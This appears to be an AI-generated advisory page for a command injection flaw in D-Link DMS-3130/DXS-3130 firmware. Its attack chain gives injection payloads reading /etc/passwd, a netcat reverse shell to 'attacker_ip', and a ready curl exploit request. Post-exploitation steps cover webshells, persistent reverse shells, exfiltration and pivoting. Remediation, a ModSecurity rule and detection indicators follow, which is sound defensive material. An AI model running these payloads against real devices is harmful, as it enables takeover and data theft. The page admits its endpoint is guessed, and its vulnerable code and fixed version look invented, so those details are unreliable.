CVE-2026-138358 — D-Link DMS-3130 (1.20.P006) — CWE-77 · CWE-78
A vulnerability was identified in D-Link DMS-3130 and DXS-3130 1.20.P006. Affected by this issue is the function http_import_nuclias_manager_profile of the file 464_Nuclias_Manager_Settings.lua of the component Nuclias Manager Profile Import. Such manipulation of the argument nuclias_manager_profile_src_file_name leads to os command injection. It is possible to launch the attack remotely. The exploit is publicly available and might be used.
A vulnerability was identified in D-Link DMS-3130 and DXS-3130 1.20.P006. Affected by this issue is the function http_import_nuclias_manager_profile of the file 464_Nuclias_Manager_Settings.lua of the component Nuclias Manager Profile Import. Such manipulation of the argument nuclias_manager_profile_src_file_name leads to os command injection. It is possible to launch the attack remotely. The exploit is publicly available and might be used.
🎯 What is this vulnerability?
Technical flaw
The firmware of the D‑Link DMS‑3130 and DXS‑3130 (1.20.P006) contains a Lua‑based web interface component called Nuclias Manager Profile Import.
The function http_import_nuclias_manager_profile in 464_Nuclias_Manager_Settings.lua accepts a user‑supplied argument named nuclias_manager_profile_src_file_name.
That argument is concatenated directly into an operating‑system command without any sanitisation or validation.
Because the command is executed on the device’s shell, an attacker can inject arbitrary shell commands (CWE‑77 / CWE‑78).
Why it matters
- Authentication/Authorization – The web interface requires a valid user session, but the vulnerability can be triggered with a low‑privilege account (PR:L).
- Input validation – No checks for shell metacharacters or file‑path traversal.
- Scope change – The injected command runs with the privileges of the web‑server process, giving the attacker full control of the device (S:C).
The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) reflects that a remote attacker can read, modify, and destroy all data on the device and can also use the device as a pivot point in a larger network.
⚡ Attack Chain
NOTE – The exact URI and HTTP method are not disclosed in the CVE text.
The following example uses a typical REST‑style endpoint (/nuclias_manager/import) and a POST request, which is a common pattern for import functions in D‑Link firmware.
If the real endpoint differs, the same payload logic applies; only the URL and parameter name may change.
1. Discovery & Reconnaissance
| Step | Technique | What you learn |
|---|---|---|
| 1.1 | Network scan | Identify devices on the LAN that respond to HTTP/HTTPS on port 80/443. |
| 1.2 | Banner grab | curl -I http://<device-ip> → look for “D‑Link” or “DMS‑3130” in the Server header. |
| 1.3 | Firmware fingerprint | curl http://<device-ip>/ → the default login page often contains the firmware version in a comment or hidden field. |
| 1.4 | Verify version | Confirm the device is running 1.20.P006 (the vulnerable firmware). |
If the device is behind NAT or a firewall, use port‑forwarding or a VPN to reach it.
2. Exploitation
Goal – Inject a shell command via the nuclias_manager_profile_src_file_name parameter.
2.1 Crafting the payload
The vulnerable code likely does something akin to:
os.execute("import_profile " .. args.nuclias_manager_profile_src_file_name)Thus any shell metacharacter (;, &&, |, >, etc.) will be interpreted by the shell.
Example payload – read /etc/passwd:
profile.txt; cat /etc/passwdExample payload – spawn a reverse shell (Linux):
profile.txt; /bin/sh -c 'nc -e /bin/sh attacker_ip 4444'Replace attacker_ip with the IP of your listening machine.2.2 Sending the request
curl -k \
-X POST "http://<device-ip>/nuclias_manager/import" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "nuclias_manager_profile_src_file_name=profile.txt;cat /etc/passwd" \
-c cookie.txt -b cookie.txtExplanation
-k – ignore self‑signed certs (common on D‑Link devices). -c cookie.txt -b cookie.txt – maintain a session cookie (if authentication is required). -d payload contains the injected command.Illustrative example – the real endpoint may be/nuclias_manager/importor/nuclias_manager/import_profile. Adjust accordingly.
2.3 Observing the response
If the command is executed, the device’s HTTP response will contain the output of the injected command (e.g., the contents of /etc/passwd).
If the device is configured to return a status code only, you may need to capture the output via a reverse shell or by writing to a file and downloading it later.
3. Post‑exploitation
Once arbitrary commands can be run, the attacker can:
1. Establish persistence
- Upload a webshell (e.g., webshell.php) to a writable directory (/www/ or /var/www/html/).
- Set up a cron job or a systemd service that runs a reverse shell on boot.
2. Privilege escalation
- The web‑server process typically runs as root or a privileged user on embedded devices.
- Any command executed via os.execute inherits those privileges, giving full control.
3. Data exfiltration
- Dump configuration files (/etc/config/*), logs, or network topology information.
- Use scp or wget to transfer data to an attacker‑controlled server.
4. Pivoting
- Use the compromised device as a foothold to reach other devices on the same LAN (e.g., printers, switches, routers).
- Execute similar command‑injection attacks on other firmware versions if they share the same component.
🌍 Real World Impact
| Impact | Detail |
|---|---|
| Confidentiality (C:H) | Full read access to all device files, configuration, and potentially network traffic logs. |
| Integrity (I:H) | Ability to modify firmware, configuration, or inject malicious code. |
| Availability (A:H) | Arbitrary commands can crash the device, delete critical files, or lock out legitimate users. |
| Scope (S:C) | The vulnerability changes the security scope of the device, allowing an attacker to gain control of the entire device. |
Practical consequences
🛡️ Remediation & Mitigation
1. Patch
| Product | Vulnerable Firmware | Fixed Firmware |
|---|---|---|
| D‑Link DMS‑3130 | 1.20.P006 | 1.20.P007 (or later) |
| D‑Link DXS‑3130 | 1.20.P006 | 1.20.P007 (or later) |
Action – Download the latest firmware from the official D‑Link website and apply it following the vendor’s instructions.
If a newer firmware is not available, proceed to the workarounds below.
2. Workarounds
| Mitigation | How to implement |
|---|---|
| Disable the Nuclias Manager Profile Import feature | Access the web UI → Settings → Advanced → Nuclias Manager → toggle “Enable Profile Import” off. |
| Restrict access to the device | Place the device behind a firewall or VLAN that only allows trusted management IPs. |
| Block the vulnerable endpoint | Add a WAF rule (ModSecurity) that rejects requests containing shell metacharacters in the nuclias_manager_profile_src_file_name parameter. |
| Use a reverse proxy | Route all traffic through a reverse proxy that strips or sanitises the parameter before forwarding to the device. |
ModSecurity rule example
SecRule REQUEST_URI "@beginsWith /nuclias_manager/import" \
"phase:2,block,log,id:1001,msg:'Command injection attempt in Nuclias Manager import',severity:2,tag:'cve-2026-138358'"
SecRule ARGS:nuclias_manager_profile_src_file_name \
"@rx [;&|`$<>*?]" \
"phase:2,block,log,id:1002,msg:'Shell metacharacters detected',severity:2,tag:'cve-2026-138358'"Adjust the URI pattern to match the real endpoint.
3. Detection
| Indicator | Log pattern | How to look | |
|---|---|---|---|
| Suspicious parameter | nuclias_manager_profile_src_file_name=profile.txt;cat /etc/passwd | Search web‑server logs for nuclias_manager_profile_src_file_name containing ; or | |
| Unusual command output | Response body contains /etc/passwd or root: | Inspect HTTP responses for system file contents | |
| Reverse shell attempts | Outbound connections from device to attacker IP on uncommon ports (e.g., 4444) | Monitor firewall logs for outbound TCP connections from device IP |
IoCs (example)
203.0.113.42 (attacker’s listening host) nuclias_manager_profile_src_file_name=.[;&|$<>?].*` /etc/passwd or root: ⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query